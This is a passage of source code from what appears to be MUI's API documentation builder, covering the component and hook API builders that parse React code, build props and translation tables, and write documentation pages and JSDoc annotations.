(markdownLines[markdownLines.length - 1] !== '') {\n    markdownLines.push('');\n  }\n\n  if (api.customAnnotation) {\n    markdownLines.push(\n      ...api.customAnnotation\n        .split('\\n')\n        .map((line) => line.trim())\n        .filter(Boolean),\n    );\n  } else {\n    markdownLines.push(\n      'Demos:',\n      '',\n      ...api.demos.map((demo) => {\n        return `- [${demo.demoPageTitle}](${\n          demo.demoPathname.startsWith('http') ? demo.demoPathname : `${HOST}${demo.demoPathname}`\n        })`;\n      }),\n      '',\n    );\n\n    markdownLines.push(\n      'API:',\n      '',\n      `- [${api.name} API](${\n        api.apiPathname.startsWith('http') ? api.apiPathname : `${HOST}${api.apiPathname}`\n      })`,\n    );\n    if (api.inheritance) {\n      markdownLines.push(`- inherits ${inheritanceAPILink}`);\n    }\n  }\n\n  if (componentJsdoc.tags.length > 0) {\n    markdownLines.push('');\n  }\n\n  componentJsdoc.tags.forEach((tag) => {\n    markdownLines.push(`@${tag.title}${tag.name ? ` ${tag.name} -` : ''} ${tag.description}`);\n  });\n\n  const jsdoc = `/**\\n${markdownLines\n    .map((line) => (line.length > 0 ? ` * ${line}` : ` *`))\n    .join('\\n')}\\n */`;\n  const typesSourceNew = typesSource.slice(0, start) + jsdoc + typesSource.slice(end);\n  writeFileSync(typesFilename, typesSourceNew, { encoding: 'utf8' });\n}\n\n/**\n * Substitute CSS class description conditions with placeholder\n */\nfunction extractClassCondition(description: string) {\n  const stylesRegex =\n    /((Styles|State class|Class name) applied to )(.*?)(( if | unless | when |, ){1}(.*))?\\./;\n\n  const conditions = description.match(stylesRegex);\n\n  if (conditions && conditions[6]) {\n    return {\n      description: renderMarkdown(\n        description.replace(stylesRegex, '$1{{nodeName}}$5{{conditions}}.'),\n      ),\n      nodeName: renderMarkdown(conditions[3]),\n      conditions: renderMarkdown(renderCodeTags(conditions[6])),\n    };\n  }\n\n  if (conditions && conditions[3] && conditions[3] !== 'the root element') {\n    return {\n      description: renderMarkdown(description.replace(stylesRegex, '$1{{nodeName}}$5.')),\n      nodeName: renderMarkdown(conditions[3]),\n    };\n  }\n\n  return { description: renderMarkdown(description) };\n}\n\nconst generateApiPage = async (\n  apiPagesDirectory: string,\n  importTranslationPagesDirectory: string,\n  reactApi: ComponentReactApi,\n  sortingStrategies?: SortingStrategiesType,\n  onlyJsonFile: boolean = false,\n  layoutConfigPath: string = '',\n) => {\n  const normalizedApiPathname = reactApi.apiPathname.replace(/\\\\/g, '/');\n  /**\n   * Gather the metadata needed for the component's API page.\n   */\n  const pageContent: ComponentApiContent = {\n    // Sorted by required DESC, name ASC\n    props: Object.fromEntries(\n      Object.entries(reactApi.propsTable).sort(([aName, aData], [bName, bData]) => {\n        if ((aData.required && bData.required) || (!aData.required && !bData.required)) {\n          return aName.localeCompare(bName);\n        }\n        if (aData.required) {\n          return -1;\n        }\n        return 1;\n      }),\n    ),\n    name: reactApi.name,\n    imports: reactApi.imports,\n    ...(reactApi.slots?.length > 0 && { slots: reactApi.slots }),\n    ...(Object.keys(reactApi.cssVariables).length > 0 && { cssVariables: reactApi.cssVariables }),\n    ...(Object.keys(reactApi.dataAttributes).length > 0 && {\n      dataAttributes: reactApi.dataAttributes,\n    }),\n    classes: reactApi.classes,\n    spread: reactApi.spread,\n    themeDefaultProps: reactApi.themeDefaultProps,\n    muiName: normalizedApiPathname.startsWith('/joy-ui')\n      ? reactApi.muiName.replace('Mui', 'Joy')\n      : reactApi.muiName,\n    forwardsRefTo: reactApi.forwardsRefTo,\n    filename: toGitHubPath(reactApi.filename),\n    inheritance: reactApi.inheritance\n      ? {\n          component: reactApi.inheritance.name,\n          pathname: reactApi.inheritance.apiPathname,\n        }\n      : null,\n    demos: `<ul>${reactApi.demos\n      .map((item) => `<li><a href=\"${item.demoPathname}\">${item.demoPageTitle}</a></li>`)\n      .join('\\n')}</ul>`,\n    cssComponent: cssComponents.has(reactApi.name),\n    deprecated: reactApi.deprecated,\n  };\n\n  const { classesSort = sortAlphabetical('key'), slotsSort = null } = {\n    ...sortingStrategies,\n  };\n\n  if (classesSort) {\n    pageContent.classes = [...pageContent.classes].sort(classesSort);\n  }\n  if (slotsSort && pageContent.slots) {\n    pageContent.slots = [...pageContent.slots].sort(slotsSort);\n  }\n\n  await writePrettifiedFile(\n    path.resolve(apiPagesDirectory, `${kebabCase(reactApi.name)}.json`),\n    JSON.stringify(pageContent),\n  );\n\n  if (!onlyJsonFile) {\n    await writePrettifiedFile(\n      path.resolve(apiPagesDirectory, `${kebabCase(reactApi.name)}.js`),\n      `import * as React from 'react';\n  import ApiPage from 'docs/src/modules/components/ApiPage';\n  import mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';${\n    layoutConfigPath === ''\n      ? ''\n      : `\n  import layoutConfig from '${layoutConfigPath}';`\n  }\n  import jsonPageContent from './${kebabCase(reactApi.name)}.json';\n\n  export default function Page(props) {\n    const { descriptions } = props;\n    return <ApiPage ${layoutConfigPath === '' ? '' : '{...layoutConfig} '}descriptions={descriptions} pageContent={jsonPageContent} />;\n  }\n\n  export async function getStaticProps() {\n    const req = require.context(\n      '${importTranslationPagesDirectory}/${kebabCase(reactApi.name)}',\n      false,\n      /\\\\.\\\\/${kebabCase(reactApi.name)}.*\\\\.json$/,\n    );\n    const descriptions = mapApiPageTranslations(req);\n\n    return { props: { descriptions } };\n  }\n  `.replace(/\\r?\\n/g, reactApi.EOL),\n    );\n  }\n};\n\nconst attachTranslations = (\n  reactApi: ComponentReactApi,\n  deprecationInfo: string | undefined,\n  settings?: CreateDescribeablePropSettings,\n) => {\n  const translations: ComponentReactApi['translations'] = {\n    componentDescription: reactApi.description,\n    deprecationInfo: deprecationInfo ? renderMarkdown(deprecationInfo) : undefined,\n    propDescriptions: {},\n    classDescriptions: {},\n  };\n  Object.entries(reactApi.props!).forEach(([propName, propDescriptor]) => {\n    let prop: DescribeablePropDescriptor | null;\n    try {\n      prop = createDescribeableProp(propDescriptor, propName, settings);\n    } catch (error) {\n      prop = null;\n    }\n    if (prop) {\n      const { deprecated, seeMore, jsDocText, signatureArgs, signatureReturn, requiresRef } =\n        generatePropDescription(prop, propName);\n      // description = renderMarkdownInline(`${description}`);\n\n      const typeDescriptions: TypeDescriptions = {};\n      (signatureArgs || [])\n        .concat(signatureReturn || [])\n        .forEach(({ name, description, argType, argTypeDescription }) => {\n          typeDescriptions[name] = {\n            name,\n            description: renderMarkdown(description),\n            argType,\n            argTypeDescription: argTypeDescription ? renderMarkdown(argTypeDescription) : undefined,\n          };\n        });\n\n      translations.propDescriptions[propName] = {\n        description: renderMarkdown(jsDocText),\n        requiresRef: requiresRef || undefined,\n        deprecated: renderMarkdown(deprecated) || undefined,\n        typeDescriptions: Object.keys(typeDescriptions).length > 0 ? typeDescriptions : undefined,\n        seeMoreText: seeMore?.description,\n      };\n    }\n  });\n\n  /**\n   * Slot descriptions.\n   */\n  if (reactApi.slots?.length > 0) {\n    translations.slotDescriptions = {};\n    [...reactApi.slots]\n      .sort(sortAlphabetical('name')) // Sort to ensure consistency of object key order\n      .forEach((slot: Slot) => {\n        const { name, description } = slot;\n        translations.slotDescriptions![name] = renderMarkdown(description);\n      });\n  }\n\n  /**\n   * CSS class descriptions and deprecations.\n   */\n  [...reactApi.classes]\n    .sort(sortAlphabetical('key')) // Sort to ensure consistency of object key order\n    .forEach((classDefinition) => {\n      translations.classDescriptions[classDefinition.key] = {\n        ...extractClassCondition(classDefinition.description),\n        deprecationInfo: classDefinition.deprecationInfo,\n      };\n    });\n  reactApi.classes.forEach((classDefinition, index) => {\n    delete reactApi.classes[index].deprecationInfo; // store deprecation info in translations only\n  });\n\n  /**\n   * CSS variables descriptions.\n   */\n  if (Object.keys(reactApi.cssVariables).length > 0) {\n    translations.cssVariablesDescriptions = {};\n    [...Object.keys(reactApi.cssVariables)]\n      .sort() // Sort to ensure consistency of object key order\n      .forEach((cssVariableName: string) => {\n        const cssVariable = reactApi.cssVariables[cssVariableName];\n        const { description } = cssVariable;\n        translations.cssVariablesDescriptions![cssVariableName] = renderMarkdown(description);\n      });\n  }\n\n  /**\n   * Data attributes descriptions.\n   */\n  if (Object.keys(reactApi.dataAttributes).length > 0) {\n    translations.dataAttributesDescriptions = {};\n    [...Object.keys(reactApi.dataAttributes)]\n      .sort() // Sort to ensure consistency of object key order\n      .forEach((dataAttributeName: string) => {\n        const dataAttribute = reactApi.dataAttributes[dataAttributeName];\n        const { description } = dataAttribute;\n        translations.dataAttributesDescriptions![dataAttributeName] = renderMarkdown(description);\n      });\n  }\n\n  reactApi.translations = translations;\n};\n\nconst attachPropsTable = (\n  reactApi: ComponentReactApi,\n  settings?: CreateDescribeablePropSettings,\n) => {\n  const propErrors: Array<[propName: string, error: Error]> = [];\n  type Pair = [string, ComponentReactApi['propsTable'][string]];\n  const componentProps: ComponentReactApi['propsTable'] = Object.fromEntries(\n    Object.entries(reactApi.props!).flatMap(([propName, propDescriptor]): Pair[] => {\n      let prop: DescribeablePropDescriptor | null;\n      try {\n        prop = createDescribeableProp(propDescriptor, propName, settings);\n      } catch (error) {\n        propErrors.push([`[${reactApi.name}] \\`${propName}\\``, error as Error]);\n        prop = null;\n      }\n      if (prop === null) {\n        return [];\n      }\n\n      const defaultValue = (propDescriptor as any).jsdocDefaultValue?.value;\n\n      const {\n        signature: signatureType,\n        signatureArgs,\n        signatureReturn,\n        seeMore,\n      } = generatePropDescription(prop, propName);\n      const propType = propDescriptor.type;\n      const propTypeDescription = propType ? generatePropTypeDescription(propType) : undefined;\n      const chainedPropType = getChained(prop.type);\n\n      const requiredProp =\n        prop.required ||\n        prop.type?.raw?.includes('.isRequired') ||\n        (chainedPropType !== false && chainedPropType.required);\n\n      const deprecation = (propDescriptor.description || '').match(/@deprecated(\\s+(?<info>.*))?/);\n\n      const additionalPropsInfo: AdditionalPropsInfo = {};\n\n      const normalizedApiPathname = reactApi.apiPathname.replace(/\\\\/g, '/');\n\n      if (propName === 'classes') {\n        additionalPropsInfo.cssApi = true;\n      } else if (propName === 'sx') {\n        additionalPropsInfo.sx = true;\n      } else if (propName === 'slots' && !normalizedApiPathname.startsWith('/material-ui')) {\n        additionalPropsInfo.slotsApi = true;\n      } else if (normalizedApiPathname.startsWith('/joy-ui')) {\n        switch (propName) {\n          case 'size':\n            additionalPropsInfo['joy-size'] = true;\n            break;\n          case 'color':\n            additionalPropsInfo['joy-color'] = true;\n            break;\n          case 'variant':\n            additionalPropsInfo['joy-variant'] = true;\n            break;\n          default:\n        }\n      }\n\n      let signature: ComponentReactApi['propsTable'][string]['signature'];\n      if (signatureType !== undefined) {\n        signature = {\n          type: signatureType,\n          describedArgs: signatureArgs?.map((arg) => arg.name),\n          returned: signatureReturn?.name,\n        };\n      }\n      // Skip props with unknown/undefined types\n      if (!propType?.name) {\n        return [];\n      }\n\n      return [\n        [\n          propName,\n          {\n            type: {\n              name: propType.name,\n              description: propTypeDescription !== propType.name ? propTypeDescription : undefined,\n            },\n            default: defaultValue,\n            // undefined values are not serialized => saving some bytes\n            required: requiredProp || undefined,\n            deprecated: !!deprecation || undefined,\n            deprecationInfo: renderMarkdown(deprecation?.groups?.info || '').trim() || undefined,\n            signature,\n            additionalInfo:\n              Object.keys(additionalPropsInfo).length === 0 ? undefined : additionalPropsInfo,\n            seeMoreLink: seeMore?.link,\n          },\n        ],\n      ];\n    }),\n  );\n  if (propErrors.length > 0) {\n    throw new Error(\n      `There were errors creating prop descriptions:\\n${propErrors\n        .map(([propName, error]) => {\n          return `  - ${propName}: ${error}`;\n        })\n        .join('\\n')}`,\n    );\n  }\n\n  reactApi.propsTable = componentProps;\n};\n\n/**\n * Helper to get the import options\n * @param name The name of the component\n * @param filename The filename where its defined (to infer the package)\n * @returns an array of import command\n */\nconst defaultGetComponentImports = (name: string, filename: string) => {\n  const githubPath = toGitHubPath(filename);\n  const rootImportPath = githubPath.replace(\n    /\\/packages\\/mui(?:-(.+?))?\\/src\\/.*/,\n    (match, pkg) => `@mui/${pkg}`,\n  );\n\n  const subdirectoryImportPath = githubPath.replace(\n    /\\/packages\\/mui(?:-(.+?))?\\/src\\/([^\\\\/]+)\\/.*/,\n    (match, pkg, directory) => `@mui/${pkg}/${directory}`,\n  );\n\n  let namedImportName = name;\n  const defaultImportName = name;\n\n  if (githubPath.includes('Unstable_')) {\n    namedImportName = `Unstable_${name} as ${name}`;\n  }\n\n  const useNamedImports = rootImportPath === '@mui/base';\n\n  const subpathImport = useNamedImports\n    ? `import { ${namedImportName} } from '${subdirectoryImportPath}';`\n    : `import ${defaultImportName} from '${subdirectoryImportPath}';`;\n\n  const rootImport = `import { ${namedImportName} } from '${rootImportPath}';`;\n\n  return [subpathImport, rootImport];\n};\n\nconst attachTable = (\n  reactApi: ComponentReactApi,\n  params: ParsedProperty[],\n  attribute: 'cssVariables' | 'dataAttributes',\n  defaultType?: string,\n) => {\n  const errors: Array<[propName: string, error: Error]> = [];\n  const data: { [key: string]: ApiItemDescription } = params\n    .flatMap((p) => {\n      const { name: propName, ...propDescriptor } = p;\n      let prop: Omit<ParsedProperty, 'name'> | null;\n      try {\n        prop = propDescriptor;\n      } catch (error) {\n        errors.push([propName, error as Error]);\n        prop = null;\n      }\n      if (prop === null) {\n        return [];\n      }\n\n      const deprecationTag = propDescriptor.tags?.deprecated;\n      const deprecation = deprecationTag?.text?.[0]?.text;\n\n      const typeTag = propDescriptor.tags?.type;\n\n      let type = typeTag?.text?.[0]?.text ?? defaultType;\n      if (typeof type === 'string') {\n        type = type.replace(/{|}/g, '');\n      }\n\n      return [\n        {\n          name: propName,\n          description: propDescriptor.description,\n          type,\n          deprecated: !!deprecation || undefined,\n          deprecationInfo: renderMarkdown(deprecation || '').trim() || undefined,\n        },\n      ];\n    })\n    .reduce((acc, cssVarDefinition) => {\n      const { name, ...other } = cssVarDefinition;\n      return {\n        ...acc,\n        [name]: other,\n      };\n    }, {});\n\n  if (errors.length > 0) {\n    throw new Error(\n      `There were errors creating ${attribute.replace(/([A-Z])/g, ' $1')} descriptions:\\n${errors\n        .map(([item, error]) => {\n          return `  - ${item}: ${error}`;\n        })\n        .join('\\n')}`,\n    );\n  }\n\n  reactApi[attribute] = data;\n};\n\n/**\n * - Build react component (specified filename) api by lookup at its definition (.d.ts or ts)\n *   and then generate the API page + json data\n * - Generate the translations\n * - Add the comment in the component filename with its demo & API urls (including the inherited component).\n *   this process is done by sourcing markdown files and filter matched `components` in the frontmatter\n */\nexport default async function generateComponentApi(\n  componentInfo: ComponentInfo,\n  project: TypeScriptProject,\n  projectSettings: ProjectSettings,\n) {\n  const { shouldSkip, spread, EOL, src } = componentInfo.readFile();\n\n  if (shouldSkip) {\n    return null;\n  }\n\n  const filename = componentInfo.filename;\n  let reactApi: ComponentReactApi;\n\n  const handlers = [...defaultHandlers, muiDefaultPropsHandler];\n  try {\n    const results = docgenParse(src, {\n      handlers,\n      filename,\n    });\n    reactApi = results[0] as ComponentReactApi;\n  } catch (error) {\n    // fallback to default logic if there is no `create*` definition.\n    if ((error as Error).message === 'No suitable component definition found.') {\n      const results = docgenParse(src, {\n        resolver: {\n          resolve(file) {\n            const foundPaths: any[] = [];\n            file.traverse({\n              FunctionDeclaration(funcPath) {\n                const params = funcPath.node.params;\n                if (\n                  params.length > 0 &&\n                  params[0].type === 'Identifier' &&\n                  params[0].name === 'props'\n                ) {\n                  foundPaths.push(funcPath);\n                }\n              },\n              VariableDeclaration(varPath) {\n                for (const declarator of varPath.node.declarations) {\n                  if (declarator.init) {\n                    let initNode = declarator.init;\n                    // Handle TSAsExpression wrapper\n                    if (initNode.type === 'TSAsExpression') {\n                      initNode = initNode.expression;\n                    }\n                    if (\n                      initNode.type === 'CallExpression' &&\n                      initNode.callee.type === 'Identifier' &&\n                      initNode.callee.name === `create${componentInfo.name}`\n                    ) {\n                      // Get the path to the init (call expression)\n                      const declarators = varPath.get('declarations');\n                      if (Array.isArray(declarators) && declarators.length > 0) {\n                        let initPath = declarators[0].get('init');\n                        if (!Array.isArray(initPath)) {\n                          // Unwrap TSAsExpression if present\n                          if (initPath.isTSAsExpression()) {\n                            initPath = initPath.get('expression') as typeof initPath;\n                          }\n                          foundPaths.push(initPath);\n                        }\n                      }\n                    }\n                  }\n                }\n              },\n            });\n            return foundPaths;\n          },\n        },\n        handlers,\n        filename,\n      });\n      reactApi = results[0] as ComponentReactApi;\n    } else {\n      throw error;\n    }\n  }\n\n  if (!reactApi.props) {\n    reactApi.props = {};\n  }\n\n  const { getComponentImports = defaultGetComponentImports } = projectSettings;\n  const componentJsdoc = parseDoctrine(reactApi.description);\n\n  // We override `reactApi.description` with `componentJsdoc.description` because\n  // the former can include JSDoc tags that we don't want to render in the docs.\n  reactApi.description = componentJsdoc.description;\n\n  // Ignore what we might have generated in `annotateComponentDefinition`\n  let annotationBoundary: RegExp = /(Demos|API):\\r?\\n\\r?\\n/;\n  if (componentInfo.customAnnotation) {\n    annotationBoundary = new RegExp(\n      escapeRegExp(componentInfo.customAnnotation.trim().split('\\n')[0].trim()),\n    );\n  }\n  const annotatedDescriptionMatch = reactApi.description.match(new RegExp(annotationBoundary));\n  if (annotatedDescriptionMatch !== null) {\n    reactApi.description = reactApi.description.slice(0, annotatedDescriptionMatch.index).trim();\n  }\n\n  reactApi.filename = filename;\n  reactApi.name = componentInfo.name;\n  reactApi.imports = getComponentImports(componentInfo.name, filename);\n  reactApi.muiName = componentInfo.muiName;\n  reactApi.apiPathname = componentInfo.apiPathname;\n  reactApi.EOL = EOL;\n  reactApi.slots = [];\n  reactApi.classes = [];\n  reactApi.demos = componentInfo.getDemos();\n  reactApi.customAnnotation = componentInfo.customAnnotation;\n  reactApi.inheritance = null;\n  if (reactApi.demos.length === 0) {\n    throw new Error(\n      'Unable to find demos. \\n' +\n        `Be sure to include \\`components: ${reactApi.name}\\` in the markdown pages where the \\`${reactApi.name}\\` component is relevant. ` +\n        'Every public component should have a demo.\\nFor internal component, add the name of the component to the `skipComponent` method of the product.',\n    );\n  }\n\n  try {\n    const testInfo = await parseTest(reactApi.filename);\n    // no Object.assign to visually check for collisions\n    reactApi.forwardsRefTo = testInfo.forwardsRefTo;\n    reactApi.spread = testInfo.spread ?? spread;\n    reactApi.themeDefaultProps = testInfo.themeDefaultProps;\n    reactApi.inheritance = componentInfo.getInheritance(testInfo.inheritComponent);\n  } catch (error: any) {\n    console.error(error.message);\n    if (project.name.includes('grid')) {\n      // TODO: Use `describeConformance` for the DataGrid components\n      reactApi.forwardsRefTo = 'GridRoot';\n    }\n  }\n\n  if (!projectSettings.skipSlotsAndClasses) {\n    const { slots, classes } = parseSlotsAndClasses({\n      typescriptProject: project,\n      projectSettings,\n      componentName: reactApi.name,\n      muiName: reactApi.muiName,\n      slotInterfaceName: componentInfo.slotInterfaceName,\n    });\n\n    reactApi.slots = slots;\n    reactApi.classes = classes;\n  }\n\n  const deprecation = componentJsdoc.tags.find((tag) => tag.title === 'deprecated');\n  const deprecationInfo = deprecation?.description || undefined;\n\n  reactApi.deprecated = !!deprecation || undefined;\n\n  const cssVars = await extractInfoFromEnum(\n    `${componentInfo.name}CssVars`,\n    new RegExp(`${componentInfo.name}(CssVars|Classes)?.tsx?$`, 'i'),\n    project,\n  );\n\n  const dataAttributes = await extractInfoFromEnum(\n    `${componentInfo.name}DataAttributes`,\n    new RegExp(`${componentInfo.name}(DataAttributes)?.tsx?$`, 'i'),\n    project,\n  );\n\n  attachPropsTable(reactApi, projectSettings.propsSettings);\n  attachTable(reactApi, cssVars, 'cssVariables', 'string');\n  attachTable(reactApi, dataAttributes, 'dataAttributes');\n  attachTranslations(reactApi, deprecationInfo, projectSettings.propsSettings);\n\n  // eslint-disable-next-line no-console\n  console.log('Built API docs for', reactApi.apiPathname);\n\n  if (!componentInfo.skipApiGeneration) {\n    const {\n      skipAnnotatingComponentDefinition,\n      translationPagesDirectory,\n      importTranslationPagesDirectory,\n      generateJsonFileOnly,\n    } = projectSettings;\n\n    await generateApiTranslations(\n      path.join(process.cwd(), translationPagesDirectory),\n      reactApi,\n      projectSettings.translationLanguages,\n    );\n\n    // Once we have the tabs API in all projects, we can make this default\n    await generateApiPage(\n      componentInfo.apiPagesDirectory,\n      importTranslationPagesDirectory ?? translationPagesDirectory,\n      reactApi,\n      projectSettings.sortingStrategies,\n      generateJsonFileOnly,\n      componentInfo.layoutConfigPath,\n    );\n\n    if (\n      typeof skipAnnotatingComponentDefinition === 'function'\n        ? !skipAnnotatingComponentDefinition(reactApi.filename)\n        : !skipAnnotatingComponentDefinition\n    ) {\n      // Add comment about demo & api links (including inherited component) to the component file\n      await annotateComponentDefinition(reactApi, componentJsdoc, projectSettings);\n    }\n  }\n\n  return reactApi;\n}\n"
  },
  {
    "path": "packages/api-docs-builder/ApiBuilders/HookApiBuilder.ts",
    "content": "import { readFileSync, writeFileSync } from 'fs';\nimport path from 'path';\nimport * as babel from '@babel/core';\nimport traverse from '@babel/traverse';\nimport { defaultHandlers, parse as docgenParse } from 'react-docgen';\nimport { kebabCase, upperFirst, escapeRegExp } from 'es-toolkit/string';\nimport { parse as parseDoctrine, Annotation } from 'doctrine';\nimport { escapeEntities, renderMarkdown } from '../buildApi';\nimport { ProjectSettings } from '../ProjectSettings';\nimport { computeApiDescription } from './ComponentApiBuilder';\nimport { toGitHubPath, writePrettifiedFile } from '../buildApiUtils';\nimport { TypeScriptProject } from '../utils/createTypeScriptProject';\nimport generateApiTranslations from '../utils/generateApiTranslation';\nimport { HookApiContent, HookReactApi, ParsedProperty } from '../types/ApiBuilder.types';\nimport { HookInfo } from '../types/utils.types';\nimport extractInfoFromType from '../utils/extractInfoFromType';\n\n/**\n * Add demos & API comment block to type definitions, e.g.:\n * /**\n * * Demos:\n * *\n * * - [Button](https://mui.com/base-ui/react-button/)\n * *\n * * API:\n * *\n * * - [useButton API](https://mui.com/base-ui/api/use-button/)\n */\nasync function annotateHookDefinition(\n  api: HookReactApi,\n  hookJsdoc: Annotation,\n  projectSettings: ProjectSettings,\n) {\n  const HOST = projectSettings.baseApiUrl ?? 'https://mui.com';\n\n  const typesFilename = api.filename.replace(/\\.js$/, '.d.ts');\n  const fileName = path.parse(api.filename).name;\n  const typesSource = readFileSync(typesFilename, { encoding: 'utf8' });\n  const typesAST = await babel.parseAsync(typesSource, {\n    configFile: false,\n    filename: typesFilename,\n    presets: [require.resolve('@babel/preset-typescript')],\n  });\n  if (typesAST === null) {\n    throw new Error('No AST returned from babel.');\n  }\n\n  let start = 0;\n  let end = null;\n  traverse(typesAST, {\n    ExportDefaultDeclaration(babelPath) {\n      /**\n       * export default function Menu() {}\n       */\n      let node: babel.Node = babelPath.node;\n      if (node.declaration.type === 'Identifier') {\n        // declare const Menu: {};\n        // export default Menu;\n        if (babel.types.isIdentifier(babelPath.node.declaration)) {\n          const bindingId = babelPath.node.declaration.name;\n          const binding = babelPath.scope.bindings[bindingId];\n\n          // The JSDoc MUST be located at the declaration\n          if (babel.types.isFunctionDeclaration(binding.path.node)) {\n            // For function declarations the binding is equal to the declaration\n            // /**\n            //  */\n            // function Component() {}\n            node = binding.path.node;\n          } else {\n            // For variable declarations the binding points to the declarator.\n            // /**\n            //  */\n            // const Component = () => {}\n            node = binding.path.parentPath!.node;\n          }\n        }\n      }\n\n      const { leadingComments } = node;\n      const leadingCommentBlocks =\n        leadingComments != null\n          ? leadingComments.filter(({ type }) => type === 'CommentBlock')\n          : null;\n      const jsdocBlock = leadingCommentBlocks != null ? leadingCommentBlocks[0] : null;\n      if (leadingCommentBlocks != null && leadingCommentBlocks.length > 1) {\n        throw new Error(\n          `Should only have a single leading jsdoc block but got ${\n            leadingCommentBlocks.length\n          }:\\n${leadingCommentBlocks\n            .map(({ type, value }, index) => `#${index} (${type}): ${value}`)\n            .join('\\n')}`,\n        );\n      }\n      if (jsdocBlock?.start != null && jsdocBlock?.end != null) {\n        start = jsdocBlock.start;\n        end = jsdocBlock.end;\n      } else if (node.start != null) {\n        start = node.start - 1;\n        end = start;\n      }\n    },\n\n    ExportNamedDeclaration(babelPath) {\n      let node: babel.Node = babelPath.node;\n\n      if (babel.types.isTSDeclareFunction(node.declaration)) {\n        // export function useHook() in .d.ts\n        if (node.declaration.id?.name !== fileName) {\n          return;\n        }\n      } else if (node.declaration == null) {\n        // export { useHook };\n\n        node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ExportSpecifier' && specifier.local.name === fileName) {\n            const binding = babelPath.scope.bindings[specifier.local.name];\n\n            if (babel.types.isFunctionDeclaration(binding.path.node)) {\n              // For function declarations the binding is equal to the declaration\n              // /**\n              //  */\n              // function useHook() {}\n              node = binding.path.node;\n            } else {\n              // For variable declarations the binding points to the declarator.\n              // /**\n              //  */\n              // const useHook = () => {}\n              node = binding.path.parentPath!.node;\n            }\n          }\n        });\n      } else if (babel.types.isFunctionDeclaration(node.declaration)) {\n        // export function useHook() in .ts\n        if (node.declaration.id?.name !== fileName) {\n          return;\n        }\n      } else {\n        return;\n      }\n\n      const { leadingComments } = node;\n      const leadingCommentBlocks =\n        leadingComments != null\n          ? leadingComments.filter(({ type }) => type === 'CommentBlock')\n          : null;\n      const jsdocBlock = leadingCommentBlocks != null ? leadingCommentBlocks[0] : null;\n      if (leadingCommentBlocks != null && leadingCommentBlocks.length > 1) {\n        throw new Error(\n          `Should only have a single leading jsdoc block but got ${\n            leadingCommentBlocks.length\n          }:\\n${leadingCommentBlocks\n            .map(({ type, value }, index) => `#${index} (${type}): ${value}`)\n            .join('\\n')}`,\n        );\n      }\n      if (jsdocBlock?.start != null && jsdocBlock?.end != null) {\n        start = jsdocBlock.start;\n        end = jsdocBlock.end;\n      } else if (node.start != null) {\n        start = node.start - 1;\n        end = start;\n      }\n    },\n  });\n\n  if (end === null || start === 0) {\n    throw new TypeError(\n      `${api.filename}: Don't know where to insert the jsdoc block. Probably no default export found`,\n    );\n  }\n\n  const markdownLines = (await computeApiDescription(api, { host: HOST })).split('\\n');\n\n  // Ensure a newline between manual and generated description.\n  if (markdownLines[markdownLines.length - 1] !== '') {\n    markdownLines.push('');\n  }\n\n  if (api.customAnnotation) {\n    markdownLines.push(\n      ...api.customAnnotation\n        .split('\\n')\n        .map((line) => line.trim())\n        .filter(Boolean),\n    );\n  } else {\n    if (api.demos && api.demos.length > 0) {\n      markdownLines.push(\n        'Demos:',\n        '',\n        ...api.demos.map((item) => {\n          return `- [${item.demoPageTitle}](${\n            item.demoPathname.startsWith('http') ? item.demoPathname : `${HOST}${item.demoPathname}`\n          })`;\n        }),\n        '',\n      );\n    }\n\n    markdownLines.push(\n      'API:',\n      '',\n      `- [${api.name} API](${\n        api.apiPathname.startsWith('http') ? api.apiPathname : `${HOST}${api.apiPathname}`\n      })`,\n    );\n  }\n\n  if (hookJsdoc.tags.length > 0) {\n    markdownLines.push('');\n  }\n\n  hookJsdoc.tags.forEach((tag) => {\n    markdownLines.push(`@${tag.title}${tag.name ? ` ${tag.name} -` : ''} ${tag.description}`);\n  });\n\n  const jsdoc = `/**\\n${markdownLines\n    .map((line) => (line.length > 0 ? ` * ${line}` : ` *`))\n    .join('\\n')}\\n */`;\n  const typesSourceNew = typesSource.slice(0, start) + jsdoc + typesSource.slice(end);\n  writeFileSync(typesFilename, typesSourceNew, { encoding: 'utf8' });\n}\n\nconst attachTable = (\n  reactApi: HookReactApi,\n  params: ParsedProperty[],\n  tableName: 'parametersTable' | 'returnValueTable',\n) => {\n  const propErrors: Array<[propName: string, error: Error]> = [];\n  const parameters: HookReactApi[typeof tableName] = params\n    .flatMap((p) => {\n      const { name: propName, ...propDescriptor } = p;\n      let prop: Omit<ParsedProperty, 'name'> | null;\n      try {\n        prop = propDescriptor;\n      } catch (error) {\n        propErrors.push([propName, error as Error]);\n        prop = null;\n      }\n      if (prop === null) {\n        // have to delete `componentProps.undefined` later\n        return [];\n      }\n\n      const defaultTag = propDescriptor.tags?.default;\n      const defaultValue: string | undefined = defaultTag?.text?.[0]?.text;\n      const requiredProp = prop.required;\n\n      const deprecation = (propDescriptor.description || '').match(/@deprecated(\\s+(?<info>.*))?/);\n      const typeDescription = escapeEntities(propDescriptor.typeStr ?? '');\n      return [\n        {\n          [propName]: {\n            type: {\n              // The docgen generates this structure for the components. For consistency in the structure\n              // we are adding the same value in both the name and the description\n              name: typeDescription,\n              description: typeDescription,\n            },\n            default: defaultValue,\n            // undefined values are not serialized => saving some bytes\n            required: requiredProp || undefined,\n            deprecated: !!deprecation || undefined,\n            deprecationInfo: renderMarkdown(deprecation?.groups?.info || '').trim() || undefined,\n          },\n        },\n      ];\n    })\n    .reduce((acc, curr) => ({ ...acc, ...curr }), {});\n\n  if (propErrors.length > 0) {\n    throw new Error(\n      `There were errors creating prop descriptions:\\n${propErrors\n        .map(([propName, error]) => {\n          return `  - ${propName}: ${error}`;\n        })\n        .join('\\n')}`,\n    );\n  }\n\n  reactApi[tableName] = parameters;\n};\n\nconst generateTranslationDescription = (description: string) => {\n  return renderMarkdown(description.replace(/\\n@default.*$/, ''));\n};\n\nconst attachTranslations = (reactApi: HookReactApi, deprecationInfo: string | undefined) => {\n  const translations: HookReactApi['translations'] = {\n    hookDescription: reactApi.description,\n    deprecationInfo: deprecationInfo ? renderMarkdown(deprecationInfo).trim() : undefined,\n    parametersDescriptions: {},\n    returnValueDescriptions: {},\n  };\n\n  (reactApi.parameters ?? []).forEach(({ name: propName, description }) => {\n    if (description) {\n      translations.parametersDescriptions[propName] = {\n        description: generateTranslationDescription(description),\n      };\n      const deprecation = (description || '').match(/@deprecated(\\s+(?<info>.*))?/);\n      if (deprecation !== null) {\n        translations.parametersDescriptions[propName].deprecated =\n          renderMarkdown(deprecation?.groups?.info || '').trim() || undefined;\n      }\n    }\n  